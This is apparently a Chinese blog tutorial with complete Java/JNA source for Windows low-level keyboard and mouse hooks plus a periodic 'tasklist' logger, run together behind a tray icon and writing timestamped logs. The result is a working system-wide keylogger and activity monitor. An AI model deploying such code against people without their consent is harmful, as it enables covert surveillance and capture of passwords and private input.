有的时候需要我们对鼠标和键盘的动作(鼠标的移动,键盘的点击)进行监听,比如按键记录,鼠标坐标记录等。

我们使用JNA来实现以上的操作

tips:JNA类库使用一个很小的本地类库sub 动态的调用本地代码。程序员只需要使用一个特定的java接口描述一下将要调用的本地代码的方法的结构和一些基本属性。这样就省了为了适配多个平台而大量的配置和编译代码。因为调用的都是JNA提供的公用jar 包中的接口。

首先我们实现监听鼠标的代码如下

package getInfo;

import java.io.BufferedWriter;

import java.io.File;

import java.io.FileWriter;

import java.io.IOException;

import java.text.SimpleDateFormat;

import java.util.Date;

import com.sun.jna.Structure;

import com.sun.jna.examples.win32.Kernel32;

import com.sun.jna.examples.win32.User32;

import com.sun.jna.examples.win32.User32.HHOOK;

import com.sun.jna.examples.win32.User32.MSG;

import com.sun.jna.examples.win32.W32API.HMODULE;

import com.sun.jna.examples.win32.W32API.LRESULT;

import com.sun.jna.examples.win32.W32API.WPARAM;

import com.sun.jna.examples.win32.User32.HOOKPROC;

public class MouseHook implements Runnable{

public static final int WM_MOUSEMOVE = 512;

private static HHOOK hhk;

private static LowLevelMouseProc mouseHook;

final static User32 lib = User32.INSTANCE;

private boolean [] on_off=null;

public MouseHook(boolean [] on_off){

this.on_off = on_off;

}

public interface LowLevelMouseProc extends HOOKPROC {

LRESULT callback(int nCode, WPARAM wParam, MOUSEHOOKSTRUCT lParam);

}

public static class MOUSEHOOKSTRUCT extends Structure {

public static class ByReference extends MOUSEHOOKSTRUCT implements

Structure.ByReference {

};

public User32.POINT pt;

public int wHitTestCode;

public User32.ULONG_PTR dwExtraInfo;

}

public void run() {

HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null);

mouseHook = new LowLevelMouseProc() {

public LRESULT callback(int nCode, WPARAM wParam,

MOUSEHOOKSTRUCT info) {

SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");

SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

String fileName=df1.format(new Date());

String time=df2.format(new Date());

BufferedWriter bw1=null;

BufferedWriter bw2=null;

try {

bw1=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Mouse.txt"),true));

bw2=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Common.txt"),true));

} catch (IOException e) {

e.printStackTrace();

}

if (on_off[0] == false) {

System.exit(0);

}

if (nCode >= 0) {

switch (wParam.intValue()) {

case MouseHook.WM_MOUSEMOVE:

try {

bw1.write(time+" #### "+"x=" + info.pt.x

+ " y=" + info.pt.y+"\r\n");

bw2.write(time+" #### "+"x=" + info.pt.x

+ " y=" + info.pt.y+"\r\n");

bw1.flush();

bw2.flush();

} catch (IOException e) {

e.printStackTrace();

}

}

}

return lib

.CallNextHookEx(hhk, nCode, wParam, info.getPointer());

}

};

hhk = lib.SetWindowsHookEx(User32.WH_MOUSE_LL, mouseHook, hMod, 0);

int result;

MSG msg = new MSG();

while ((result = lib.GetMessage(msg, null, 0, 0)) != 0) {

if (result == -1) {

System.err.println("error in get message");

break;

} else {

System.err.println("got message");

lib.TranslateMessage(msg);

lib.DispatchMessage(msg);

}

}

lib.UnhookWindowsHookEx(hhk);

}

}

能够在鼠标移动的时候输出鼠标的坐标位置

接下来是监听键盘的代码

package getInfo;

import java.io.BufferedWriter;

import java.io.File;

import java.io.FileWriter;

import java.io.IOException;

import java.text.SimpleDateFormat;

import java.util.Date;

import com.sun.jna.examples.win32.Kernel32;

import com.sun.jna.examples.win32.User32;

import com.sun.jna.examples.win32.User32.HHOOK;

import com.sun.jna.examples.win32.User32.KBDLLHOOKSTRUCT;

import com.sun.jna.examples.win32.User32.LowLevelKeyboardProc;

import com.sun.jna.examples.win32.User32.MSG;

import com.sun.jna.examples.win32.W32API.HMODULE;

import com.sun.jna.examples.win32.W32API.LRESULT;

import com.sun.jna.examples.win32.W32API.WPARAM;

public class KeyboardHook implements Runnable{

private static HHOOK hhk;

private static LowLevelKeyboardProc keyboardHook;

final static User32 lib = User32.INSTANCE;

private boolean [] on_off=null;

public KeyboardHook(boolean [] on_off){

this.on_off = on_off;

}

public void run() {

HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null);

keyboardHook = new LowLevelKeyboardProc() {

public LRESULT callback(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT info) {

SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");

SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

String fileName=df1.format(new Date());

String time=df2.format(new Date());

BufferedWriter bw1=null;

BufferedWriter bw2=null;

try {

bw1=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Keyboard.txt"),true));

bw2=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Common.txt"),true));

} catch (IOException e) {

e.printStackTrace();

}

if (on_off[0] == false) {

System.exit(0);

}

try {

bw1.write(time+" #### "+info.vkCode+"\r\n");

bw2.write(time+" #### "+info.vkCode+"\r\n");

bw1.flush();

bw2.flush();

} catch (IOException e) {

e.printStackTrace();

}

return lib.CallNextHookEx(hhk, nCode, wParam, info.getPointer());

}

};

hhk = lib.SetWindowsHookEx(User32.WH_KEYBOARD_LL, keyboardHook, hMod, 0);

int result;

MSG msg = new MSG();

while ((result = lib.GetMessage(msg, null, 0, 0)) != 0) {

if (result == -1) {

System.err.println("error in get message");

break;

} else {

System.err.println("got message");

lib.TranslateMessage(msg);

lib.DispatchMessage(msg);

}

}

lib.UnhookWindowsHookEx(hhk);

}

}

最后是获取进程信息的代码

package getInfo;

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.File;

import java.io.FileWriter;

import java.io.IOException;

import java.io.InputStreamReader;

import java.text.SimpleDateFormat;

import java.util.Date;

public class ProcessInfo implements Runnable{

private boolean [] on_off=null;

public ProcessInfo(boolean [] on_off){

this.on_off = on_off;

}

public void run() {

BufferedReader input = null;

Process process = null;

BufferedWriter bw=null;

SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");

SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

String fileName=null;

String time=null;

try {

while(on_off[0]){

fileName=df1.format(new Date());

time=df2.format(new Date());

bw=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_ProcessInfo.txt"),true));

Thread.sleep(60000);

process = Runtime.getRuntime().exec("cmd.exe /c tasklist");

input =new BufferedReader(

new InputStreamReader(process.getInputStream()));

String line = " ";

int i=0;

input.readLine();

input.readLine();

input.readLine();

while ((line = input.readLine()) != null) {

bw.write(time+" #### "+line+"\r\n");

bw.flush();

i++;

}

}

} catch (Exception e) {

e.printStackTrace();

} finally{

try {

bw.close();

input.close();

} catch (IOException e) {

e.printStackTrace();

}

}

}

}

开启上述线程的类

package getInfo;

import java.awt.AWTException;

import java.awt.Image;

import java.awt.MenuItem;

import java.awt.PopupMenu;

import java.awt.SystemTray;

import java.awt.Toolkit;

import java.awt.TrayIcon;

import java.awt.event.ActionEvent;

import java.awt.event.ActionListener;

public class Monitor {

public Monitor() {

boolean [] on_off={true};

new Thread(new ProcessInfo(on_off)).start();

new Thread(new KeyboardHook(on_off)).start();

new Thread(new MouseHook(on_off)).start();

final TrayIcon trayIcon;

if (SystemTray.isSupported()) {

SystemTray tray = SystemTray.getSystemTray();

Image image = Toolkit.getDefaultToolkit().getImage(".//lib//monitor.png");

ActionListener exitListener = new ActionListener() {

public void actionPerformed(ActionEvent e) {

System.out.println("Exiting...");

System.exit(0);

}

};

PopupMenu popup = new PopupMenu();

MenuItem defaultItem = new MenuItem("Exit");

defaultItem.addActionListener(exitListener);

popup.add(defaultItem);

trayIcon = new TrayIcon(image, "monitor", popup);

ActionListener actionListener = new ActionListener() {

public void actionPerformed(ActionEvent e) {

trayIcon.displayMessage("Action Event",

"An Action Event Has Been Peformed!",

TrayIcon.MessageType.INFO);

}

};

trayIcon.setImageAutoSize(true);

trayIcon.addActionListener(actionListener);

try {

tray.add(trayIcon);

} catch (AWTException e1) {

e1.printStackTrace();

}

}

}

public static void main(String[] args) {

new Monitor();

}

}

java完成键盘动作_java实现鼠标和键盘动作后台监听相关推荐

  1. java模拟器键盘输入_Java模拟鼠标和键盘输入

    用途 在电脑(Windows/Mac)上模拟鼠标和键盘输入 Mac运行需要打开相关权限,详见文末说明. 效果图 代码 import java.awt.*; import java.awt.event. ...

  2. java 接口文件夹_Java NIO.2 使用Path接口来监听文件、文件夹变化

    Java7对NIO进行了大的改进,新增了许多功能: •对文件系统的访问提供了全面的支持 •提供了基于异步Channel的IO 这些新增的IO功能简称为 NIO.2,依然在java.nio包下. 早期的 ...

  3. 鼠标案例2-鼠标移动监听

    要完成: 监听:鼠标移动到label内,发生一些事情 移动到label外发生一些事情 重写移动函数文档:鼠标案例2-鼠标移动监听.note 链接:http://note.youdao.com/note ...

  4. java 关闭按钮监听_Java事件处理(1)——实现简单的事件监听功能

    假设我们已经建立了一个窗体,并且添加了一个按钮组件. 例:模拟登录界面 1 import javax.swing.*;2 import java.awt.*;3 4 public class Logi ...

  5. java swing事件监听_Java swing(awt):事件监听机制的实现原理+简单示例

    (1)实现原理 事件监听机制的实现: 参考图:事件模型_ActionEvent 为了节省资源,系统无法对某个事件进行实时的监听.故实现的机制是当发生某个事件后,处理代码将被自动运行,类似钩子一般.(回 ...

  6. java jmenu 监听_Java中用得比较顺手的事件监听

    第一次听说监听是三年前,做一个webGIS的项目,当时对Listener的印象就是个"监视器",监视着界面的一举一动,一有动静就触发对应的响应. 一.概述 通过对界面的某一或某些操 ...

  7. Java怎么监听鼠标滑轮的转向_javascript监听鼠标滚轮事件浅析

    我们都见到过这些效果,用鼠标滚轮实现某个表单内的数字增加减少操作,或者滚轮控制某个按钮的左右,上下滚动.这些都是通过js对鼠标滚轮的事件监听来实现的.今天这里介绍的是一点简单的js对于鼠标滚轮事件的监 ...

  8. java swing(GUI图形化界面)基础教程3-添加事件监听1

    学习此内容前建议先去学习java基础知识: 匿名内部类 (学的多的可以用lambda表达式,更加简便) 好, 我们先看一下之前的代码(即一个窗口和一个按钮) 如果想看详细内容,链接为: (23条消息) ...

  9. java 事件监听器是组件_JavaWeb的三大组件之事件监听组件(Listener)

    JavaWeb监听器 三大组件: Servlet Listener Filter 监听器: 它是一个接口,内容由我们来实现: 它需要注册,例如注册在按钮上! 监听器中的方法,会在特殊事件发生时被调用! ...

最新文章

  1. 清华大学 现代软件工程 结对编程项目 (一)
  2. OpenCV之Python学习笔记(1)(2): 图像的载入、显示和保存 图像元素的访问、通道分离与合并
  3. JavaScript函数补完:toString()
  4. qt5使用触屏 偶尔没响应_戴着手套玩手机!你试过吗?触屏灵敏又保暖,冬天再也不冻手~...
  5. OpenCV精进之路(零):core组件——Mat和IplImage访问像素的方法总结
  6. 通过this()调用有参构造方法
  7. 基金公司十大非货规模逆袭(2010-2020)
  8. 图像处理——matlab人脸识别(1)
  9. 泛微e9隐藏明细表_泛微协同 泛微OA e-cology产品功能清单 模块列表
  10. 【转】知识图谱构建全过程
  11. 关于matlab匿名函数,求导
  12. RapidMiner介绍与实践(二)贝叶斯分类器
  13. AutoSAR系列讲解(深入篇)14.2-Mcal Port配置
  14. 不动产租赁运营平台,为不动产租赁提供强劲的运营支持
  15. AARRR模型——变现:终极目标(上)
  16. android北京实时公交,北京实时公交app
  17. php sendmail 抄送,Python发送邮件各种姿势
  18. 怎样使用手机的nfc功能模拟门禁?
  19. Javascript:公农历节日周年计算
  20. SSM SpringBoot vue限房摇号系统

热门文章

  1. 豆米--基于豆瓣API的WP7书籍搜索工具开源啦!
  2. Linux基础(1)--Vim编辑器的常用命令
  3. 一起来玩树莓派--解决官方docker源安装失败的问题
  4. 机器学习中的数学(七)--凸优化的基础知识
  5. 电机的入门之路系列5--二相四线,四相五线,四相六线电机的区分方法
  6. c++ string类 知识点整理
  7. 戴尔服务器板载系统raid管理,戴尔PowerEdge RAID控制卡使用示例(PERC H710P为例)
  8. 中国科学院计算机网络信息中心领导,中国科学院计算机网络信息中心
  9. linux查看程序写文件内容,Linux 文件内容查看命令
  10. 电子书下载:Professional ASP.NET MVC 2